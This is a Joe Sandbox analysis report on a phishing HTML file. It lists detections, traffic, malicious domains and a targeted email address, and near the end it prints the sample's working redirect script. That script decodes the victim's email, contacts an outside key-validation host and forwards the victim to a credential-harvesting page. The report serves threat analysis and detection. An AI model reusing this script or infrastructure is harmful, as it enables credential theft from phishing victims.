Edit tour

Windows Analysis Report
A_C_H_JAN14.htm

Overview

General Information

Sample name:	A_C_H_JAN14.htm
Analysis ID:	1592194
MD5:	1df9751c6e80d2f2a9fa3c926e118317
SHA1:	e89c7c6e532e82d7bf2d1471a061a9b29258819e
SHA256:	916859eff63990aa5fe16534bf4fbab689af37db673be426289f6bfdba68abc7

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

HTML file submission requesting Cloudflare captcha challenge

AI detected suspicious Javascript

AI detected suspicious URL

HTML Script injector detected

Creates files inside the system directory

Deletes files inside the Windows folder

HTML page contains hidden javascript code

Classification

Process Tree

System is w11x64_office

chrome.exe (PID: 6448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\A_C_H_JAN14.htm MD5: 290DF23002E9B52249B5549F0C668A86)

chrome.exe (PID: 6684 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1908,i,6903188666539983047,13372110593391112098,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20241208-180523.718000 --mojo-platform-channel-handle=2224 /prefetch:11 MD5: 290DF23002E9B52249B5549F0C668A86)

cleanup

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 1.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://cdn.jsdelivr.net/npm/citiycar8@2.1.9/MOMEN... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated URLs. The script fetches data from a potentially suspicious domain and then opens a new window with a URL that includes encoded parameters. This behavior is highly suspicious and indicates a potential phishing or malicious activity.
Source: 0.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://topimo.trilidarn.ru/kyVPsDa/#Mfwilliams@li... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to redirect the user to a suspicious domain and collects user credentials via XHR requests. While the script may have some legitimate functionality, the overall behavior is highly suspicious and poses a significant security risk.
Source: 0.8.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://topimo.trilidarn.ru/kyVPsDa/#Mfwilliams@li... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and suspicious domain interactions. It appears to be a malicious script designed to steal user credentials and redirect users to a fake login page.
Source: 0.7.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://topimo.trilidarn.ru/kyVPsDa/#Mfwilliams@li... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The combination of these behaviors strongly suggests malicious intent, likely for the purpose of phishing or other malicious activities.

AI detected suspicious URL

Source: URL

Joe Sandbox AI: AI detected Typosquatting in URL: https://pending-revew.pages.dev

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/A_C_H_JAN14.htm

HTTP Parser: New script, src: https://cdn.jsdelivr.net/npm/citiycar8@2.1.9/MOMENTUM/NOW.API.JS

Source: A_C_H_JAN14.htm

HTTP Parser: Base64 decoded: fwilliams@liftone.net

Source: A_C_H_JAN14.htm	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/A_C_H_JAN14.htm	HTTP Parser: No favicon
Source: https://pending-revew.pages.dev/#?service=Wm5kcGJHeHBZVzF6UUd4cFpuUnZibVV1Ym1WMCZtaW5kZWQmYQ==	HTTP Parser: No favicon
Source: https://topimo.trilidarn.ru/kyVPsDa/#Mfwilliams@liftone.net	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.24:63836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.24:63839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.24:63870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.24:63872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.24:63874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.24:63876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.24:63878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.24:63879 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 6MB later: 36MB

Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cache-Control: max-age = 3600Connection: Keep-AliveAccept: /If-Modified-Since: Mon, 12 Feb 2024 22:07:27 GMTIf-None-Match: "65ca969f-2cd"User-Agent: Microsoft-CryptoAPI/10.0Host: x1.c.lencr.org

Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: natrium100gram.site
Source: global traffic	DNS traffic detected: DNS query: pending-revew.pages.dev
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: topimo.trilidarn.ru
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown	Network traffic detected: HTTP traffic on port 63835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63880
Source: unknown	Network traffic detected: HTTP traffic on port 63861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63818
Source: unknown	Network traffic detected: HTTP traffic on port 63849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 63837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63828
Source: unknown	Network traffic detected: HTTP traffic on port 63879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49673
Source: unknown	Network traffic detected: HTTP traffic on port 63863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63839
Source: unknown	Network traffic detected: HTTP traffic on port 63874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63831
Source: unknown	Network traffic detected: HTTP traffic on port 63860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63848
Source: unknown	Network traffic detected: HTTP traffic on port 63854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63842
Source: unknown	Network traffic detected: HTTP traffic on port 63834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63857
Source: unknown	Network traffic detected: HTTP traffic on port 63828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63859
Source: unknown	Network traffic detected: HTTP traffic on port 63872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63853
Source: unknown	Network traffic detected: HTTP traffic on port 63862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63864
Source: unknown	Network traffic detected: HTTP traffic on port 63836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63879
Source: unknown	Network traffic detected: HTTP traffic on port 63853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63872
Source: unknown	Network traffic detected: HTTP traffic on port 63878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63875

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.24:63836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.24:63839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.24:63870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.24:63872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.24:63874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.24:63876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.24:63878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.24:63879 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6448_313927333

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6448_313927333

Source: classification engine

Classification label: mal60.phis.evad.winHTM@18/13@36/209

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\A_C_H_JAN14.htm
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1908,i,6903188666539983047,13372110593391112098,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20241208-180523.718000 --mojo-platform-channel-handle=2224 /prefetch:11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1908,i,6903188666539983047,13372110593391112098,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20241208-180523.718000 --mojo-platform-channel-handle=2224 /prefetch:11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://topimo.trilidarn.ru/kyVPsDa/#Mfwilliams@liftone.net

HTTP Parser: https://topimo.trilidarn.ru/kyVPsDa/#Mfwilliams@liftone.net

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
file:///C:/Users/user/Desktop/A_C_H_JAN14.htm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.193.229	true	false	high
topimo.trilidarn.ru	172.67.141.195	true	true	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
pending-revew.pages.dev	172.66.47.105	true	false	high
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	216.58.206.36	true	false	high
natrium100gram.site	194.163.42.36	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pending-revew.pages.dev/#?service=Wm5kcGJHeHBZVzF6UUd4cFpuUnZibVV1Ym1WMCZtaW5kZWQmYQ==	false		unknown
https://topimo.trilidarn.ru/kyVPsDa/#Mfwilliams@liftone.net	true		unknown
file:///C:/Users/user/Desktop/A_C_H_JAN14.htm	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.110.84	unknown	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
194.163.42.36	natrium100gram.site	Germany	6659	NEXINTO-DE	false
172.67.141.195	topimo.trilidarn.ru	United States	13335	CLOUDFLARENETUS	true
104.18.187.31	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.193.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
142.250.186.163	unknown	United States	15169	GOOGLEUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
216.58.206.67	unknown	United States	15169	GOOGLEUS	false
216.58.206.36	www.google.com	United States	15169	GOOGLEUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
216.58.206.46	unknown	United States	15169	GOOGLEUS	false
172.66.47.105	pending-revew.pages.dev	United States	13335	CLOUDFLARENETUS	false
142.250.185.142	unknown	United States	15169	GOOGLEUS	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.66.44.151	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.184.234	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
192.168.2.24

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592194
Start date and time:	2025-01-15 22:23:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 11 23H2 with Office Professional Plus 2021, Chrome 131, Firefox 133, Adobe Reader DC 24, Java 8 Update 431, 7zip 24.09
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	A_C_H_JAN14.htm
Detection:	MAL
Classification:	mal60.phis.evad.winHTM@18/13@36/209
Cookbook Comments:	Found application associated with file extension: .htm

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 172.64.149.23, 104.18.38.233
Excluded domains from analysis (whitelisted): crt.comodoca.com.cdn.cloudflare.net, crt.comodoca.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: topimo.trilidarn.ru

LLM Input / Output

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown
URL: :// Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false, "reasoning": "This is an invalid URL format missing protocol and domain information" }
URL: ://
URL: file:///C:/Users/user/Desktop/A_C_H_JAN14.htm... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This script appears to be a simple simulation of document loading, with a 5-second delay before updating the DOM and changing the background color. There are no high-risk indicators, and the behavior is consistent with typical web page loading and visual cues. This script poses a low risk." }
// Simulate document loading setTimeout(() => { document.querySelector('.loading-text').textContent = 'Document is ready!'; document.body.style.backgroundColor = '#e0ffe0'; // Change background as a cue }, 5000); // Adjust loading time as needed
URL: https://pending-revew.pages.dev/#?service=Wm5kcGJH... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates several behaviors that raise moderate security concerns, including data exfiltration, use of obfuscated URLs, and external data transmission. While the script appears to have a legitimate purpose, such as validating a key, the way it handles user data and interacts with external domains requires further review." }
function javascriptCallback() { var hashValue = window.location.hash.substr(1); var hash2 = hashValue.split("#")[1]; // console.log(hash2[1]); const urlParams = new URLSearchParams(hashValue); const name = urlParams.get('service'); // Decode the Base64-encoded value var decodedValue = atob(name); console.log(decodedValue); var parts = decodedValue.split("&"); var mails = parts[0]; var mails2 = atob(mails); console.log(mails2); var key = parts[1]; var display = parts[2]; var form = new FormData(); // form.append("subs", `${mails}&${key}`); // var settings = { // url: "https://arab-oil.online", // method: "GET", // timeout: 0, // headers: { // Cookie: // "XSRF-TOKEN=eyJpdiI6IlpiamxlYlM5dldGVzNzNG9KUGZieVE9PSIsInZhbHVlIjoiTldmM0hJYnlmN3Y0d1FSUjJ2WE9INWFhUi9IMFJLeDUxZWp0L0tVWFFqK3V6dHdKS08wQkJIQUpnNWo3eVFTOXFOOHV5ZmdxRXAxMkl0WVZrSGdRb1JoOWVsM2NCUVlLSkhkQVNHY0VYS0g4T1gxWnorT0RyVnByOWoxcWlaRm4iLCJtYWMiOiI0NzU4YTdiNWFhYWUyZjEyYzU0OWEyZjAyNjU1Y2YwZjE5NzEzOWVkMzhjZGVmNzg1MmZiMjU5YTA5N2IwYzNkIn0%3D; laravel_session=eyJpdiI6Im43cHVMbGJBL1JpMjl1cU5rQ1JpYnc9PSIsInZhbHVlIjoiekkzRlNmZ25kR1dxU3JxYnFucGUrcW1MdS9CaXFwM3pqNitXNjBFQ2lyT1pTeDQ3WWtwUXBXMVlyelVHaVlncGFXR3d6Zm5VTWMxbUthSkdUVkZSMFB3M29uQUNqZzB6QWZ1V1RXb3BiMnoyZms3NkpxWXFnbjlsZVJsaE1kTTgiLCJtYWMiOiJiMDdkOTlmMmVlNTFjZjE4YjJmZWNmNjcwMjliMjg2ZmYzZTdmMzE0ZWFhODczZjdiZTg2ODRjZjE4N2RhOTU2In0%3D", // }, // processData: false, // mimeType: "multipart/form-data", // contentType: false, // data: form, // }; var settings = { "url": `https://natrium100gram.site/public/api/validate_key/${key}`, "method": "GET", "timeout": 0, "processData": false, "mimeType": "multipart/form-data", "contentType": false, "data": form }; $.ajax(settings).done(function (response) { var res = JSON.parse(response); console.log(res); var next = res.optional_url ? res.optional_url : ""; if (res.url_target == undefined) { console.log("undefined"); location.reload(); }else{ if (display == "a") { console.log(mails2); window.location.replace(res.url_target + mails2 + next); } else { window.location.replace(res.url_target + mails + next); } } }).fail(function(error){ if (error.status == 401) { document.body.removeAttribute('style'); document.getElementById("mm").innerHTML = ""; document.getElementById("mm").innerHTML = "Expired API \|\| contact your support ! "; } console.log(error.status); }); } setTimeout(() => { javascriptCallback() }, 1000); // });
URL: https://cdn.jsdelivr.net/npm/citiycar8@2.1.9/MOMEN... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated URLs. The script fetches data from a potentially suspicious domain and then opens a new window with a URL that includes encoded parameters. This behavior is highly suspicious and indicates a potential phishing or malicious activity." }
